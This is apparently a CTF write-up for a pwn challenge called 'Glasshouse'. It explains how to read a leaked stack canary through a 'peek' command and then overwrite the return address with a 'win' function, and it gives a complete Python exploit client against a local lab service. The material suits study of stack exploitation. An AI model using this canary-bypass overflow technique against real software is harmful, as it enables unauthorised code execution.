CTF archive / Pwn

Glasshouse: a canary in plain sight

The service checks a stack canary before returning. Its peek command exposes the value needed to preserve that check.

The service

Glasshouse prints an entry pointer and accepts two commands. peek 64 exposes the eight bytes sitting just after a 64 byte buffer. submit HEX decodes a hex string and copies it into the same frame. The local service models the layout and the canary check.

entry=0x555500001470
> peek 64
word=00... [eight bytes in little endian]
> submit 414141...

Memory layout

The input buffer occupies offsets 0x00 through 0x3f. The eight byte canary begins at 0x40, saved frame data occupies 0x48 through 0x4f, and the saved return address begins at 0x50. The entry leak gives the PIE base: entry - 0x1470. The target function is at base + 0x11f0.

Payload rangeContents
0–63Filler bytes
64–71Exact leaked canary
72–79Saved frame placeholder
80–87Address of win

Solve path

  1. Parse the entry line and calculate the base.
  2. Use peek 64 to obtain the canary bytes.
  3. Decode the returned hex and unpack it with u64.
  4. Build an 88 byte payload that puts the canary back in its original position and changes the return address.
  5. Hex encode the payload for the submit command.
payload = b"A" * 64 + p64(canary) + b"B" * 8 + p64(win)
sock.sendall(b"submit " + payload.hex().encode() + b"\n")

Using line based input for the hex string means zero bytes in the canary do not terminate the command early.

Run it locally

python3 glasshouse_server.py 127.0.0.1 31340
python3 glasshouse.py 127.0.0.1 31340

Start the service in one terminal, then run the client in another. Both use the Python standard library.

Complete client

import socket
import struct
import sys

p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]

ENTRY_OFFSET = 0x1470
WIN_OFFSET = 0x11f0


def read_until(sock, marker):
    data = bytearray()
    while not data.endswith(marker):
        part = sock.recv(1)
        if not part:
            raise ConnectionError("connection closed")
        data.extend(part)
    return bytes(data)


def main(host, port):
    with socket.create_connection((host, port), timeout=3) as sock:
        banner = read_until(sock, b"\n").strip()
        entry = int(banner.split(b"=", 1)[1], 16)
        base = entry - ENTRY_OFFSET
        win = base + WIN_OFFSET

        read_until(sock, b"> ")
        sock.sendall(b"peek 64\n")
        answer = read_until(sock, b"\n").strip()
        canary = u64(bytes.fromhex(answer.split(b"=", 1)[1].decode()))
        print("canary", hex(canary), "win", hex(win))

        read_until(sock, b"> ")
        payload = b"A" * 64 + p64(canary) + b"B" * 8 + p64(win)
        sock.sendall(b"submit " + payload.hex().encode() + b"\n")
        print(read_until(sock, b"\n").decode(errors="replace").strip())


if __name__ == "__main__":
    if len(sys.argv) != 3:
        raise SystemExit("usage: python3 glasshouse.py HOST PORT")
    main(sys.argv[1], int(sys.argv[2]))

← All CTF writeups